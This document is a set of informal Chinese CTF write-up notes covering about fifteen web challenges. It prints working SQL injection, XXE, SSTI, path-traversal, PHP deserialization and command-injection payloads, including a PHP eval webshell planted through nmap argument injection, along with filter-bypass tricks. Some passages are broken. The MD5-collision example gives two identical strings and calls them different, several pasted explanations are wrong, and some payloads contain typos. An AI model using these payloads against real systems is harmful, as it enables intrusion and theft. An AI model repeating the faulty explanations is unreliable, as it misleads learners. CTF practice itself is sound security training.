这道题我好像被剧透了(,本来想打开小本本翻一翻堆叠(因为我越看越熟悉,好像要用这个),结果发现堆叠就是从这道题抄的(
1';handler `1919810931114514` open as`ddl`;
handler `ddl` read next;--
一样
[极客大挑战 2019]HardSQL1
先放个字典
https://www.cnblogs.com/CVE-Lemon/p/16187971.html
/**/,%20,=都被过滤了,但like没被过滤换=;and也被搞了,用or(burp可见,反正过滤了一堆,就不放图了
limit没被过滤,说明是空格被过滤了
查一个新的
%A0不可
()可,尝试了下可为1'or(1)like(1)#
,万能密码成功后发现只有这个,用报错注入
我用我的那个报错注入的方法发现一直不对,然后发现是rand被过滤了。好好好,三种方法选了一种就正好被过滤了
那就换个
[https://www.cnblogs.com/csyxf/p/10241456.html](https://)extractvalue无事,遂用
这里我发现直接用hackbar传不对,然后在登录界面重新尝试了一下,并观察上方网址,发现需要用URL编码后再execute(可能是因为过滤的太多了吧,太屑了1'or(extractvalue(0x7e,concat(0x7e,(select(database())))))#
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
1'or(extractvalue(0x7e,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))#
然后发现substr被过滤了(悲
遂再找(
https://www.wanfa688.com/html/Products/478771.html
试了一下left和right都挺安全的1'or(extractvalue(0x7e,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),31))))#
拼一下flag{589e7b10-f37f-4255-84d3-a323ae257d5b}
话说sqlmap能不能再多出一些脚本什么的,不够用哇等我复习完cpp一定高产似那啥咕咕咕咕
第二页
[RoarCTF 2019]Easy Java
Are you sure the flag is here? ? ?
=>需用post
java+WEB-INF是java的WEB应用的安全目录
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
/WEB-INF/web.xml+post=>com.wm.ctf.FlagController
servlet class+加上classes来访问来访问class文件目录,且文件后缀为.classDownload?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
ZmxhZ3tkNjMxYzVlYi1iOTJmLTQ0MTYtODVkOC1kMDE5Y2NkZmQ5YWZ9Cg==
flag{d631c5eb-b92f-4416-85d8-d019ccdfd9af}
[网鼎杯 2018]Fakebook
扫:/robots.txt,下user.php.bak;flag.php
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);#curl ssrf
return $output;
}
注册一个,在no后sql注入,过滤了一些。
?no=1 order by 4有4列
?no=-1 union/**/select database(),database(),database(),database()#,2处有个fakebook
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
?no=-1 union/**/select 1,group_concat(data),3,4 from fakebook.users#
O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";},O:8:"UserInfo":3:{s:4:"name";s:4:"qing";s:3:"age";i:18;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";}
//对ba起我注册了两遍(
blog用反序列化?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:40:"https://github.com/lingqing777/watchlist";}'
看了一下,是源码
很多方法都不行去flag.php
看来在web目录下,file://访问本地文件系统?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3swYzg1MWNmNS0zZGU3LTQ4ZDItYTA5Yi02OWQxZDY2ZWRiODN9IjsNCmV4aXQoMCk7DQo=
flag{0c851cf5-3de7-48d2-a09b-69d1d66edb83}
load_file()函数可以利用绝对路径去加载一个文件?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
[BSidesCF 2020]Had a bad day
扫出flag.php
这张很有王霸之气
?category=php://filter/read.convert.base64-encode/resource=index.php
Failed opening ‘php://filter/read.convert.base64-encode/resource=index.php.php
?category=php://filter/read.convert.base64-encode/resource=index
?category=php://filter/read.convert.base64-encode/resource=flag不行
看了github发现原来可以酱
?category=php://filter/convert.base64-encode/write=woofers/resource=flag
[网鼎杯 2020 朱雀组]phpweb
能不能少放些可怕的图真的很吓人。。。
func=date&p=Y-m-d+h%3Ai%3As+a
date() 函数p 应该是 date() 函数所需的格式参数。
%3A 是 URL 编码后的冒号 :,所以 h%3Ai%3As 实际就是 h:i:s。
- 在 URL 里通常表示空格,这里可当作空格看待。(ai
function 'base64' not found or invalid function name in
那就再找找,试了试serialize行,system被过滤了。
file_get_contents、highlight_file() ,show_source()
func=highlight_file&p=index.php
《?php
class Test{
public $p = "ls /";
public $func = "system";
}
$a = new Test();
echo serialize($a);
public $p = 'find / -name "*flag*"';
O:4:"Test":2:{s:1:"p";s:21:"find / -name "*flag*"";s:4:"func";s:6:"system";}
public $p = 'cat /tmp/flagoefiu4r93';(挺无语的试出来的
或php内的” \ “在做代码执行的时候,会识别特殊字符串,绕过黑名单func=\system&p=cat /tmp/flagoefiu4r93
[BJDCTF2020]ZJCTF,不过如此
《?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {#动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
http://www.xinyueseo.com/websecurity/158.html
https://www.cnblogs.com/Sentry-fei/p/15476811.html这里有一些本地测试
https://www.runoob.com/php/php-preg_replace.html
\1
代表正则表达式中第一个捕获组所匹配到的内容
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
#由于替换字符串是简单的 '1',PHP 会尝试将其当作代码执行,但它并不是有效的 PHP 表达式。不过在这种情况下,preg_replace 的行为比较特殊,由于正则表达式匹配到整个字符串,并且替换字符串会被执行,最终的替换结果会出现两次 '1',所以输出为 '11'
var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串''
#\1 代表第一个捕获组匹配的内容,也就是整个输入字符串 {${phpinfo()}}。strtolower 函数用于将字符串转换为小写。然而,当 phpinfo() 被执行时,它会输出大量的 PHP 配置信息到标准输出流,并且 strtolower 函数对 phpinfo() 的返回值(实际上 phpinfo() 返回值为 null)进行处理,最终导致整个替换操作的结果变得混乱。由于 phpinfo() 输出了内容,并且在这种执行逻辑下,最终返回给 preg_replace 的结果可能为空字符串,所以最终输出为 ''。
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str);
\\
会转义为单个 \
,所以这里的 \1
代表正则表达式中第一个捕获组所匹配到的内容。
.* 整体的意思是匹配任意数量(包括零个)的任意字符。e 修饰符存在严重的安全隐患。因为它允许执行任意 PHP 代码
${phpinfo()} :不执行
{${phpinfo()}}:执行
(在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。)
.
:在正则表达式中,点号(.
)是一个元字符,它默认匹配除换行符之外的任意单个字符。例如,在字符串"abc"
中,.
可以匹配a
、b
或者c
中的任意一个字符。\S
:这是一个预定义字符类,\S
表示匹配任意非空白字符。空白字符包括空格、制表符、换行符等,非空白字符就是除这些之外的字符,比如字母、数字、标点符号等。\*
:这是一个量词,它表示前面的元素可以出现零次或多次。在\S*
中,意味着非空白字符可以出现零个、一个或者多个连续的非空白字符。
动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str
preg_replace('/('.\S*.')/ei', 'strtolower("\\1")', ${getFlag()});
#'.\S*.' 这个正则表达式整体的含义是匹配以任意一个非换行字符开始,接着是零个或多个非空白字符,最后再以任意一个非换行字符结束的字符串
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${getFlag()});
=>preg_replace('/(.*)/ei', 'strtolower("${getFlag()}")', ${getFlag()});
=>eval('${getFlag()}')
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[BUUCTF 2018]Online Tool
《?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
escapeshellarg
主要是为了防止用户的输入逃逸出“参数值”的位置,变成一个“参数选项”。
处理过程:如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来。
场景功能:
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
escapeshellcmd
主要是防止用户利用shell的一些技巧(如分号、管道符、反引号等)来进行命令注入攻击。
处理过程:如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠给转义掉;如果单引号和双引号不是成对出现时,会被转义掉。
场景功能:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
通过参数注入向参数选项注入谈escapeshellarg绕过与参数注入漏洞 | 离别歌
《?php
system(escapeshellcmd("ls --ignore=".escapeshellarg($_GET[c])." /tmp"));
//echo escapeshellcmd("ls --ignore=".escapeshellarg($_GET[c])." /tmp");
?>
//初始输入
alan' -l+
//经过escapeshellarg()处理
'alan'\'' -l+'
//拼接命令
ls --ignore='alan'\'' -l+' /tmp
//经过escapeshellcmd()处理,即上图的输出结果
ls --ignore=\'alan\'\\\'\' -l+ /tmp
ls --ignore='alan'\\'' -l+\' /tmp
//输出结果简化,等同于
ls --ignore=alan\ -l ' /tmp
当用户输入包含单引号时,先用escapeshellarg()处理会给该单引号添加转义符,再用escapeshellcmd()处理时会将该添加的转义符再添加一个转义符,从而导致单引号被逃逸掉,从而造成参数注入漏洞的存在;
如果是先用escapeshellcmd()函数过滤,再用escapeshellarg()函数过滤,则不存在参数注入漏洞;
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);#(可以加点东西
-oG
参数用于将 nmap
的扫描结果以 Grepable 格式输出到指定的文件中。
nmap -oG <output_file> [其他扫描参数] <目标主机或网络>
<output_file>
:这是指定的输出文件名,扫描结果会被保存到这个文件中。[其他扫描参数]
:可以包含nmap
的各种扫描选项,例如-sT
(TCP 连接扫描)、-F
(快速扫描,只扫描常见的 100 个端口)等。<目标主机或网络>
:可以是单个 IP 地址、IP 地址范围或者域名等。
?host=' 《?php @eval($_POST["pass"]);?> -oG pass.php '
122b544d-074b-44b4-8d5d-131449927350.node5.buuoj.cn/e6305cd14dbe6e1fc4041d81cb3fc9ee/pass.php
[BUUCTF 2018 Online Tool | Kid](https://nkcell.github.io/2019/09/10/BUUCTF 2018 Online Tool/)
不知是不是版本的问题,我按上方文章实验escapeshellarg()与escapeshellcmd()却达到不了想要的效果
《?php
$host = "' <?php phpinfo();?> -oG pass.php '";
$host = escapeshellarg($host);
echo $host;
echo "\n";
$host = escapeshellcmd($host);
echo $host;
" <?php phpinfo();?> -oG pass.php "
^" ^<^?php phpinfo^(^)^;^?^> -oG pass.php ^"
有无一样的友友?
[BJDCTF2020]The mystery of ip
嘶~,但我看了看我IP不是这个呀(
X-Forwarded-For: xaxaxa
Your IP is : xaxaxa
果然不靠谱(
所以不是flask该咋办?
试了一下不是Twig,是Smarty({$smarty.version}
)
{system('ls /')}
{system('cat /flag')}
flag{7dd4f5f5-a7dd-43f8-b966-4c180f72af17}
[GXYCTF2019]禁止套娃
说实话给我看傻了,咋一堆git(
GitHack启动(python2 GitHack.py http://9211086e-5637-4026-a306-d75d0b458824.node5.buuoj.cn:81/.git/
《?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
//[a-z,_]+:
//[ ] 为字符类,用于匹配方括号内指定的任意一个字符。
//a-z 表示匹配所有小写字母。
//,_ 表示匹配逗号 , 或下划线 _。
//+ 是量词,意味着前面的字符类至少出现一次。综合起来,[a-z,_]+ 用于匹配由一个或多个小写字母、逗号或下划线组成的字符串,通常对应函数名。
//\(`**: - 由于括号在正则表达式中有特殊含义,所以使用反斜杠 `\` 进行转义,这里表示匹配左括号 `(`,用于标识函数调用的起始。`(?R)?`: - `(?R)` 是递归引用语法,它会递归地引用整个正则表达式本身。在这个情境下,用于匹配函数内部可能嵌套的函数调用。 - `?` 是量词,表示前面的元素(即递归引用部分)可以出现 0 次或 1 次,意味着函数调用可以嵌套,也可以不嵌套。 - **`\):
//同样使用反斜杠 \ 对右括号进行转义,用于匹配函数调用结束的右括号 )。
//(?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。
// scandir()可以使用里面不含参数
//scandir('1')不可以使用,里面含有参数1,无法被替换删除
无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
文章有具体写
在大多数操作系统的文件系统里,点号(.
)是一个特殊的路径表示,它代表当前工作目录。scandir()
函数会将其解释为当前工作目录,并对该目录进行扫描。 .
表示当前目录本身,..
表示父目录。
localeconv():返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’(这也太巧了吧,一般也猜不到)
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
or用session_id .使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
readfile(session_id(session_start()));
在源代码
[NCTF2019]Fake XML cookbook
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,//这里存在拼写错误,正确的应该是 async: false(哈?)
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
Fake XML cookbook>XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园
好长(😓😰
username这里可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>xaxaxa</password></user>
flag{601aea4d-8dfc-4651-a212-0271dcf90759}
[GWCTF 2019]我有一个数据库
这版本号很难不怀疑是先射箭后画靶(
?target=db_sql.php%253f/../../../../../../etc/passwd #发现可
?target=db_sql.php%253f/../../../../../../flag
flag{23e69c98-808e-4a00-9cdb-a5caff9299f6}
[BJDCTF2020]Mark loves cat
说实话,有点炫酷(
又是git
嘶,但是index.php有点损坏,于是从github上拿了
< ?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
# 遍历通过 POST 方法传递过来的所有参数
foreach($_POST as $x => $y){ # 动态创建或修改变量,将 POST 参数的键作为变量名,值作为变量
$$x = $y ; #x=y=>$x=y
}
foreach($_GET as $x => $y){
$$x = $$y; #?x=y=>$x=$y
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){#$flag=$x;$x!='flag'
exit($handsome);
}
}
#存在$flag且一个即可
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
exit($flag)
就是将变量 $flag
的值作为参数传递给 exit
。
(1) exit($handsome):
$x与$flag值相同但$x不是$flag,即要保证 $_GET['flag']
的值等于某个除 'flag'
之外的 GET 参数的键名,只要$flag=$num1&$num1=$anything。而且必须有一个是$x=$handsome,$y=flag以覆盖’yds’(?handsome=flag)。
so,?handsome=flag&flag=qing&qing=qihai
(2) exit($yds):
$yds=$flag即可。?yds=flag
(3) exit($is):
?is=flag而且直接$flag=$flag.?is=flag&flag=flag
(4)echo :
get
传参数的时候,如果传入1
,默认:做为键:类型是 int
; 做为值,类型是 string
$_GET['flag'] === $x
: 如果传入 a=flag&flag=anything
那么 判断 a=flag
的时候 $_GET['flag']
是 a
, &x
是 a
,完全相等 进入if条件, 而如果传入 1=flag&flag=1
那么判断 1=flag
的时候 $_GET['flag']
是 (string)1
,&x
是 (int)1
不完全相等,无法进入if条件,进而绕过。
?1=flag&flag=1
[WUSTCTF2020]朴实无华
这个错误信息
Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4
是 PHP 中一个常见的错误,它表明你在尝试修改 HTTP 响应头时,响应头已经被发送出去了。在 PHP 里,HTTP 响应头必须在任何实际的输出(像 HTML 内容、空格、换行符等)之前发送。一旦有输出产生,PHP 就会自动把响应头发送给客户端,之后再尝试修改响应头就会触发这个错误。
看着好像robot(
哈哈果然有,赌狗大胜利(
啊啊啊竟然是假的,赌狗大失败
!!!又站起来了
😰什么__图,哈人(尤其是我的还乱码,让我安了个扩展修了一遍)
< img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
#intval 函数用于获取变量的整数值。
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){#需不包含空格
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);#过滤cat
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
哈哈哈哈哈哈我在B站/抖上经常看这up的视频(
intval ( mixed $var [, int $base = 10 ] ) : int
$var:要转换为整数的变量,可以是字符串、浮点数等。
$base:转换所使用的进制,默认为十进制(10)。
intval
函数在处理字符串时,会从字符串开头提取有效的数字部分,直到遇到非数字字符为止。
$num
的值:我们将$num
赋值为"2019e10"
。在科学计数法中,2019e10
表示2019 * 10^10
。intval($num)
的计算:当对"2019e10"
调用intval
函数时,它会从字符串开头提取数字部分,即只取到"2019"
,所以intval($num)
的结果是 2019,满足intval($num) < 2020
。intval($num + 1)
的计算:在 PHP 中,当一个字符串和一个整数进行加法运算时,会先将字符串尝试转换为数字。"2019e10"
会被转换为科学计数法表示的数值,即2019 * 10^10
,然后加 1 后再调用intval
函数,由于这个数值远远大于 2021,所以intval($num + 1) > 2021
成立。- 表达式结果:由于两个条件都满足,所以整个表达式
intval($num) < 2020 && intval($num + 1) > 2021
的结果为true
。
PHP中MD5和sha1绕过方式总结 - dre0m1 - 博客园
0e215962017
的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
strstr
函数用于查找字符串在另一个字符串中首次出现的位置,并返回从该位置到字符串末尾的部分。如果未找到,则返回false
。str_ireplace(mixed $search, mixed $replace, mixed $subject, int &$count = null): mixed
$search
:要查找并替换的字符串或数组。$replace
:用于替换$search
的字符串或数组。$subject
:要在其中进行替换操作的字符串或数组。$count
:可选参数,用于记录替换发生的次数。
ls
吓死了第一眼还以为flag是个图片
?num=2019e10&md5=0e215962017&get_flag=tail$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
flag{792fd7de-6906-4c7c-8fab-a153c66377d3}
[BJDCTF2020]Cookie is so stable
一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云
另:{{7*'7'}}
在Twig中返回49
,在Jinja2中返回77777777
意思是这个BJDCTF考了两遍Twig,what can I say(
xaxaxa
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}}
[MRCTF2020]Ezpop
PHP之十六个魔术方法详解 - The code - SegmentFault 思否网
< ?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//目标
}
public function __invoke(){//__invoke方法会在对象被当作函数调用时触发
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";//here
}
public function __toString(){//类被当成字符串时的回应方法
return $this->str->source;//str无source
}
public function __wakeup(){//反序列化一个Show实例时,会触发__wakeup方法
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
//在preg_match的时候,会将对象转换为字符串,触发该对象的__toString方法。
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){//在对象的外部获取私有成员属性的值时调用
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Show.__wakeup()=>Show.__toString()=>Test.__get()=>Modifier.__invoke()=>Modifier.append()
< ?php
class Modifier
{
protected $var='flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
//Show.__wakeup()=>Show.__toString()=>Test.__get()=>Modifier.__invoke()
$a=new Show;
$b=new Show;
$c=new Test;
$d=new Modifier;
$c->p=$d;
$b->str=$c;
$a->source=$b;
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:8:"flag.php";}}}s:3:"str";N;}
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
在urlencode函数中,星号*不被编码
所以就不用删除/加%00了~
但输入后看不见(
于是用伪协议
protected $var='php://filter/convert.base64-encode/resource=flag.php';
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
[安洵杯 2019]easy_web
有个cmd
;"()
等被forbid了(
flag.php
TmpZMll6WXhOamN5WlRjd05qZzNNQT09
17张牌你能秒我?(
index.php
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
< ?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);//过滤了所有非字母数字和点号
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
问一下小鲸鱼(
$a = hex2bin('4dc968ff0ee20c95a107d9d9b7266d1edf769e0b166a237eaa6e7a75df06a0b916fca50eaa417218e8fec75d2d69bb1ee5a758a2ce5b0d5a61f9c735c5ac355');
$b = hex2bin('4dc968ff0ee20c95a107d9d9b7266d1edf769e0b166a237eaa6e7a75df06a0b916fca50eaa417218e8fec75d2d69bb1ee5a758a2ce5b0d5a61f9c735c5ac355');
这两个二进制数据不同,但它们的 MD5 哈希值相同:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
l\s /
